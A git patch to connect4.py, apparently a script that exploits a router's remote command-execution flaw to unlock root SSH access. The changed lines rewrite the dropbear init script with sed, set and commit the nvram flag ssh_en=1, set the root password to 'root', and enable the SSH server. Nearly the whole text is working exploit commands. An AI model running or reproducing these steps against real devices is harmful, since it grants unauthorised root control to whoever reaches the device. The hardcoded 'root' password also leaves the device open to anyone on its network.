From 82ab90b39ecada34ad13a97da9af87758b0469af Mon Sep 17 00:00:00 2001
From: remittor <remittor@gmail.com>
Date: Sat, 17 Sep 2022 13:12:24 +0300
Subject: [PATCH] Cleanup code in connect4.py

---
 connect4.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/connect4.py b/connect4.py
index 66cefae..31be16d 100644
--- a/connect4.py
+++ b/connect4.py
@@ -50,10 +50,11 @@ if '"netmode":4,' not in res:
   die('It is necessary to reorganize the device into "whc_cap" mode!')
 
 #res = exec_cmd('logger hello_world_3335556_')
-res = exec_cmd("sed -i 's/`nvram get ssh_en`/1/g' /etc/init.d/dropbear")
+res = exec_cmd("sed -i 's/release/XXXXXX/g' /etc/init.d/dropbear")
 if '"code":0' not in res:
   die('Exploit not working!!!')
-res = exec_cmd("sed -i 's/release/XXXXXX/g' /etc/init.d/dropbear")
+#res = exec_cmd("sed -i 's/`nvram get ssh_en`/1/g' /etc/init.d/dropbear")
+res = exec_cmd("nvram set ssh_en=1; nvram commit")
 res = exec_cmd("(echo root; sleep 1; echo root) | passwd root")
 res = exec_cmd("/etc/init.d/dropbear enable")
 print('Run SSH server on port 22 ...')